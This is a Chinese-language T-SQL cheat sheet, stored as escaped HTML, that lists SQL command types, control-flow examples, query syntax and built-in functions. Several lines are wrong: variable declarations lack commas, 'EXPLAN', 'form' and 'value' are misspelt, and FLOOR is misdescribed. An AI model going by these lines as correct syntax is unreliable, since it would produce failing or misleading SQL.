句&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;功 能&lt;BR&gt;--数据操作&lt;BR&gt;SELECT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--从数据库表中检索数据行和列&lt;BR&gt;INSERT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--向数据库表添加新数据行&lt;BR&gt;DELETE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--从数据库表中删除数据行&lt;BR&gt;UPDATE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--更新数据库表中的数据&lt;BR&gt;--数据定义&lt;BR&gt;CREATE TABLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--创建一个数据库表&lt;BR&gt;DROP TABLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --从数据库中删除表&lt;BR&gt;ALTER TABLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --修改数据库表结构&lt;BR&gt;CREATE VIEW&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --创建一个视图&lt;BR&gt;DROP VIEW&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --从数据库中删除视图&lt;BR&gt;CREATE INDEX&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--为数据库表创建一个索引&lt;BR&gt;DROP INDEX&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --从数据库中删除索引&lt;BR&gt;CREATE PROCEDURE&amp;nbsp;&amp;nbsp; --创建一个存储过程&lt;BR&gt;DROP PROCEDURE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--从数据库中删除存储过程&lt;BR&gt;CREATE TRIGGER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--创建一个触发器&lt;BR&gt;DROP TRIGGER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--从数据库中删除触发器&lt;BR&gt;CREATE SCHEMA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--向数据库添加一个新模式&lt;BR&gt;DROP SCHEMA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --从数据库中删除一个模式&lt;BR&gt;CREATE DOMAIN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--创建一个数据值域&lt;BR&gt;ALTER DOMAIN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--改变域定义&lt;BR&gt;DROP DOMAIN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --从数据库中删除一个域&lt;BR&gt;--数据控制&lt;BR&gt;GRANT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--授予用户访问权限&lt;BR&gt;DENY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--拒绝用户访问&lt;BR&gt;REVOKE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--解除用户访问权限&lt;BR&gt;--事务控制&lt;BR&gt;COMMIT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--结束当前事务&lt;BR&gt;ROLLBACK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --中止当前事务&lt;BR&gt;SET TRANSACTION&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--定义当前事务数据访问特征&lt;BR&gt;--程序化SQL&lt;BR&gt;DECLARE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--为查询设定游标&lt;BR&gt;EXPLAN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--为查询描述数据访问计划&lt;BR&gt;OPEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--检索查询结果打开一个游标&lt;BR&gt;FETCH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--检索一行查询结果&lt;BR&gt;CLOSE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--关闭游标&lt;BR&gt;PREPARE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--为动态执行准备SQL 语句&lt;BR&gt;EXECUTE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--动态地执行SQL 语句&lt;BR&gt;DESCRIBE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --描述准备好的查询&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;---局部变量&lt;BR&gt;declare @id char(10)&lt;BR&gt;--set @id = '10010001'&lt;BR&gt;select @id = '10010001'&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;---全局变量&lt;BR&gt;---必须以@@开头&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--IF ELSE&lt;BR&gt;declare @x int @y int @z int&lt;BR&gt;select @x = 1 @y = 2 @z=3&lt;BR&gt;if @x &amp;gt; @y&lt;BR&gt;print 'x &amp;gt; y' --打印字符串'x &amp;gt; y'&lt;BR&gt;else if @y &amp;gt; @z&lt;BR&gt;print 'y &amp;gt; z'&lt;BR&gt;else print 'z &amp;gt; y'&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--CASE&lt;BR&gt;use pangu&lt;BR&gt;update employee&lt;BR&gt;set e_wage =&lt;BR&gt;case&lt;BR&gt;&amp;nbsp;&amp;nbsp;when job_level = &amp;#8217;1&amp;#8217; then e_wage*1.08&lt;BR&gt;&amp;nbsp;&amp;nbsp;when job_level = &amp;#8217;2&amp;#8217; then e_wage*1.07&lt;BR&gt;&amp;nbsp;&amp;nbsp;when job_level = &amp;#8217;3&amp;#8217; then e_wage*1.06&lt;BR&gt;&amp;nbsp;&amp;nbsp;else e_wage*1.05&lt;BR&gt;end&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--WHILE CONTINUE BREAK&lt;BR&gt;declare @x int @y int @c int&lt;BR&gt;select @x = 1 @y=1&lt;BR&gt;while @x &amp;lt; 3&lt;BR&gt;begin&lt;BR&gt;&amp;nbsp;&amp;nbsp;print @x --打印变量x 的值&lt;BR&gt;&amp;nbsp;&amp;nbsp;while @y &amp;lt; 3&lt;BR&gt;&amp;nbsp;&amp;nbsp; begin&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;select @c = 100*@x + @y&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print @c --打印变量c 的值&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;select @y = @y + 1&lt;BR&gt;&amp;nbsp;&amp;nbsp; end&lt;BR&gt;&amp;nbsp;&amp;nbsp;select @x = @x + 1&lt;BR&gt;&amp;nbsp;&amp;nbsp;select @y = 1&lt;BR&gt;end&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--WAITFOR&lt;BR&gt;--例 等待1 小时2 分零3 秒后才执行SELECT 语句&lt;BR&gt;waitfor delay &amp;#8217;01:02:03&amp;#8217;&lt;BR&gt;select * from employee&lt;BR&gt;--例 等到晚上11 点零8 分后才执行SELECT 语句&lt;BR&gt;waitfor time &amp;#8217;23:08:00&amp;#8217;&lt;BR&gt;select * from employee&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;***SELECT***&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp; select *(列名) from table_name(表名) where column_name operator value&lt;BR&gt;&amp;nbsp;&amp;nbsp; ex:(宿主)&lt;BR&gt;&amp;nbsp;&amp;nbsp;select * from stock_information where stockid&amp;nbsp;&amp;nbsp; = str(nid)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stockname = 'str_name' &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stockname like '% find this %' &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stockname like '[a-zA-Z]%' --------- ([]指定值的范围)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stockname like '[^F-M]%'&amp;nbsp;&amp;nbsp; --------- (^排除指定范围)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------- 只能在使用like关键字的where子句中使用通配符)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or stockpath = 'stock_path'&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or stocknumber &amp;lt; 1000&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and stockindex = 24&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; not stock*** = 'man'&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stocknumber between 20 and 100&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stocknumber in(10,20,30)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; order by stockid desc(asc) --------- 排序，desc-降序，asc-升序&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; order by 1,2 --------- by列号&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stockname = (select stockname from stock_information&amp;nbsp;&amp;nbsp;where stockid&amp;nbsp;&amp;nbsp;= 4)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------- 子查询&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------- 除非能确保内层select只返回一个行的值，&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------- 否则应在外层where子句中用一个in限定符&lt;BR&gt;&amp;nbsp;&amp;nbsp;select distinct column_name form table_name --------- distinct指定检索独有的列值，不重复&lt;BR&gt;&amp;nbsp;&amp;nbsp;select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name&lt;BR&gt;&amp;nbsp;&amp;nbsp;select stockname , "stocknumber" = count(*) from table_name group by stockname&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--------- group by 将表按行分组,指定列中有相同的值&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;having count(*) = 2&amp;nbsp;&amp;nbsp;---------&amp;nbsp;&amp;nbsp;having选定指定的组&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR&gt;&amp;nbsp;&amp;nbsp;select * &lt;BR&gt;&amp;nbsp;&amp;nbsp;from table1, table2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR&gt;&amp;nbsp;&amp;nbsp;where table1.id *= table2.id -------- 左外部连接，table1中有的而table2中没有得以null表示&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; table1.id =* table2.id -------- 右外部连接 &lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;select stockname from table1&lt;BR&gt;&amp;nbsp;&amp;nbsp;union [all]&amp;nbsp;&amp;nbsp;-----&amp;nbsp;&amp;nbsp;union合并查询结果集，all-保留重复行&lt;BR&gt;&amp;nbsp;&amp;nbsp;select stockname from table2&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;***insert***&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value (select Stockname , Stocknumber from Stock_table2)---value为select语句&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;***update***&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;update table_name set Stockname = "xxx" [where Stockid = 3]&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Stockname = default&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Stockname = null&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Stocknumber = Stockname + 4&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;***delete***&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;delete from table_name where Stockid = 3&lt;BR&gt;&amp;nbsp;&amp;nbsp;truncate table_name ----------- 删除表中所有行，仍保持表的完整性&lt;BR&gt;&amp;nbsp;&amp;nbsp;drop table table_name --------------- 完全删除表&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;***alter table*** --- 修改数据库表结构&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;alter table database.owner.table_name add column_name char(2) null .....&lt;BR&gt;&amp;nbsp;&amp;nbsp;sp_help table_name ---- 显示表已有特征&lt;BR&gt;&amp;nbsp;&amp;nbsp;create table table_name (name char(20), age smallint, lname varchar(30))&lt;BR&gt;&amp;nbsp;&amp;nbsp;insert into table_name select ......... ----- 实现删除列的方法（创建新表）&lt;BR&gt;&amp;nbsp;&amp;nbsp;alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR&gt;***function(/*常用函数*/)***&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;----统计函数----&lt;BR&gt;AVG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--求平均值&lt;BR&gt;COUNT&amp;nbsp;&amp;nbsp; --统计数目&lt;BR&gt;MAX&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--求最大值&lt;BR&gt;MIN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--求最小值&lt;BR&gt;SUM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--求和&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--AVG&lt;BR&gt;use pangu&lt;BR&gt;select avg(e_wage) as dept_avgWage&lt;BR&gt;from employee&lt;BR&gt;group by dept_id&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--MAX&lt;BR&gt;--求工资最高的员工姓名&lt;BR&gt;use pangu&lt;BR&gt;select e_name&lt;BR&gt;from employee&lt;BR&gt;where e_wage =&lt;BR&gt;(select max(e_wage)&lt;BR&gt;&amp;nbsp;&amp;nbsp;from employee)&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--STDEV()&lt;BR&gt;--STDEV()函数返回表达式中所有数据的标准差&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--STDEVP()&lt;BR&gt;--STDEVP()函数返回总体标准差&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--VAR()&lt;BR&gt;--VAR()函数返回表达式中所有值的统计变异数&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;--VARP()&lt;BR&gt;--VARP()函数返回总体变异数&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;----算术函数----&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;/***三角函数***/&lt;BR&gt;SIN(float_expression) --返回以弧度表示的角的正弦&lt;BR&gt;COS(float_expression) --返回以弧度表示的角的余弦&lt;BR&gt;TAN(float_expression) --返回以弧度表示的角的正切&lt;BR&gt;COT(float_expression) --返回以弧度表示的角的余切&lt;BR&gt;/***反三角函数***/&lt;BR&gt;ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角&lt;BR&gt;ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角&lt;BR&gt;ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角&lt;BR&gt;ATAN2(float_expression1,float_expression2) &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--返回正切是float_expression1 /float_expres-sion2的以弧度表示的角&lt;BR&gt;DEGREES(numeric_expression)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --把弧度转换为角度返回与表达式相同的数据类型可为&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;EXP(float_expression)&amp;nbsp;&amp;nbsp;--返回表达式的指数值&lt;BR&gt;LOG(float_expression)&amp;nbsp;&amp;nbsp;--返回表达式的自然对数值&lt;BR&gt;LOG10(float_expression)--返回表达式的以10 为底的对数值&lt;BR&gt;SQRT(float_expression) --返回表达式的平方根&lt;BR&gt;/***取近似值函数***/&lt;BR&gt;CEILING(numeric_expression)&amp;nbsp;&amp;nbsp;--返回&amp;gt;=表达式的最小整数返回的数据类型与表达式相同可为&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;FLOOR(numeric_expression)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--返回&amp;lt;=表达式的最小整数返回的数据类型与表达式相同可为&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;ROUND(numeric_expression)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--返回以integer_expression 为精度的四舍五入值返回的数据&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;ABS(numeric_expression)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--返回表达式的绝对值返回的数据类型与表达式相同可为&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;SIGN(numeric_expression)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型&lt;BR&gt;PI()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --返回值为π 即3.1415926535897936&lt;BR&gt;RAND([integer_expression])&amp;nbsp;&amp;nbsp; --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;----字符串函数----&lt;BR&gt;ASCII()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数返回字符表达式最左端字符的ASCII 码值&lt;BR&gt;CHAR()&amp;nbsp;&amp;nbsp; --函数用于将ASCII 码转换为字符&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值&lt;BR&gt;LOWER()&amp;nbsp;&amp;nbsp; --函数把字符串全部转换为小写&lt;BR&gt;UPPER()&amp;nbsp;&amp;nbsp; --函数把字符串全部转换为大写&lt;BR&gt;STR()&amp;nbsp;&amp;nbsp; --函数把数值型数据转换为字符型数据&lt;BR&gt;LTRIM()&amp;nbsp;&amp;nbsp; --函数把字符串头部的空格去掉&lt;BR&gt;RTRIM()&amp;nbsp;&amp;nbsp; --函数把字符串尾部的空格去掉&lt;BR&gt;LEFT(),RIGHT(),SUBSTRING()&amp;nbsp;&amp;nbsp;--函数返回部分字符串&lt;BR&gt;CHARINDEX(),PATINDEX()&amp;nbsp;&amp;nbsp;--函数返回字符串中某个指定的子串出现的开始位置&lt;BR&gt;SOUNDEX()&amp;nbsp;&amp;nbsp;--函数返回一个四位字符码 &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;DIFFERENCE()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--0 两个SOUNDEX 函数返回值的第一个字符不同&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--1 两个SOUNDEX 函数返回值的第一个字符相同&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--2 两个SOUNDEX 函数返回值的第一二个字符相同&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--3 两个SOUNDEX 函数返回值的第一二三个字符相同&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--4 两个SOUNDEX 函数返回值完全相同&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;QUOTENAME()&amp;nbsp;&amp;nbsp;--函数返回被特定字符括起来的字符串&lt;BR&gt;/*select quotename('abc', '{') quotename('abc')&lt;BR&gt;运行结果如下&lt;BR&gt;----------------------------------{&lt;BR&gt;{abc} [abc]*/&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;REPLICATE()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数返回一个重复character_expression 指定次数的字符串&lt;BR&gt;/*select replicate('abc', 3) replicate( 'abc', -2)&lt;BR&gt;运行结果如下&lt;BR&gt;----------- -----------&lt;BR&gt;abcabcabc NULL*/&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;REVERSE()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数将指定的字符串的字符排列顺序颠倒&lt;BR&gt;REPLACE()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数返回被替换了指定子串的字符串&lt;BR&gt;/*select replace('abc123g', '123', 'def')&lt;BR&gt;运行结果如下&lt;BR&gt;----------- -----------&lt;BR&gt;abcdefg*/&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;SPACE()&amp;nbsp;&amp;nbsp; --函数返回一个有指定长度的空白字符串&lt;BR&gt;STUFF()&amp;nbsp;&amp;nbsp; --函数用另一子串替换字符串指定位置长度的子串&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;----数据类型转换函数----&lt;BR&gt;CAST() 函数语法如下&lt;BR&gt;CAST() (&amp;lt;expression&amp;gt; AS &amp;lt;data_ type&amp;gt;[ length ])&lt;BR&gt;CONVERT() 函数语法如下&lt;BR&gt;CONVERT() (&amp;lt;data_ type&amp;gt;[ length ], &amp;lt;expression&amp;gt; [, style])&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;select cast(100+99 as char) convert(varchar(12), getdate())&lt;BR&gt;运行结果如下&lt;BR&gt;------------------------------ ------------&lt;BR&gt;199&amp;nbsp;&amp;nbsp; Jan 15 2000&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
